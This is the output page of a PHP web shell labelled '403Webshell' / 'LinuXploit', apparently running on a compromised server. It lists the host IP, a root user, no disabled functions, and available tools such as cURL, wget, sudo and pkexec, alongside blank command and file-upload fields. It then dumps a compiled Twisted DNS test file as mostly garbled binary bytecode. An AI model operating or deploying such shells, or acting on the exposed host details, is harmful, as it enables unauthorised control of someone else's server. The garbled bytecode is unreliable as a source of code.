403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/names/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/twisted/names/test/__pycache__/test_resolve.cpython-38.pyc
U


W[3�@s<dZddlmZddlmZddlmZGdd�de�ZdS)z%
Tests for L{twisted.names.resolve}.
�)�TestCase)�DomainError)�
ResolverChainc@s eZdZdZdd�Zdd�ZdS)�ResolverChainTestsz:
    Tests for L{twisted.names.resolve.ResolverChain}
    cCs2tg�}|�d�}|�|�}|�|�t�t�dS)zv
        L{ResolverChain._lookup} returns a L{DomainError} failure if
        its C{resolvers} list is empty.
        �www.example.comN)rZ
lookupAddress�failureResultOf�assertIs�trapr��self�r�d�f�r�A/usr/lib/python3/dist-packages/twisted/names/test/test_resolve.py�test_emptyResolversLists

z*ResolverChainTests.test_emptyResolversListcCs2tg�}|�d�}|�|�}|�|�t�t�dS)z
        L{ResolverChain.lookupAllRecords} returns a L{DomainError}
        failure if its C{resolvers} list is empty.
        rN)rZlookupAllRecordsrrr	rr
rrr�'test_emptyResolversListLookupAllRecordss

z:ResolverChainTests.test_emptyResolversListLookupAllRecordsN)�__name__�
__module__�__qualname__�__doc__rrrrrrrsrN)rZtwisted.trial.unittestrZtwisted.names.errorrZtwisted.names.resolverrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit